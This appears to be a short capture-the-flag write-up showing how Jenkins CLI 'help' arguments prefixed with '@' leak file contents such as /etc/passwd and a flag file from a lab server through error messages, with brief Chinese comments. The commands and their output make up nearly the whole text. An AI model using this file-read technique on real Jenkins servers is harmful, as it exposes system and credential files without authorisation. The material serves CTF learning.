└─$ java -jar jenkins-cli.jar -s http://8.147.129.74:31171 -http help "@/etc/passwd" Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true
ERROR: Too many arguments: daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin java -jar jenkins-cli.jar help [COMMAND] Lists all the available commands or a detailed description of single command. COMMAND : Name of the command (default: root:x:0:0:root:/root:/bin/bash)
└─$ java -jar jenkins-cli.jar -s http://8.147.129.74:31171 -http help "@/flag" Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true
ERROR: You must authenticate to access this Jenkins. Jenkins CLI
需要多加几个参数
1 2 3 4 5 6 7
└─$ java -jar jenkins-cli.jar -s http://8.147.129.74:31171 -http help 1 "@/flag" Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true
ERROR: Too many arguments: flag{52d6bf17-24af-49a1-a62b-f4b0147c133e} java -jar jenkins-cli.jar help [COMMAND] Lists all the available commands or a detailed description of single command. COMMAND : Name of the command (default: 1)
这样也可以
1 2 3 4 5 6 7 8
└─$ java -jar jenkins-cli.jar -s http://8.147.129.74:31171 -http help "@/flag" "@/etc/passwd" Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true
ERROR: Too many arguments: root:x:0:0:root:/root:/bin/bash java -jar jenkins-cli.jar help [COMMAND] Lists all the available commands or a detailed description of single command. COMMAND : Name of the command (default: flag{52d6bf17-24af-49a1-a62b-f4b0147c13 3e})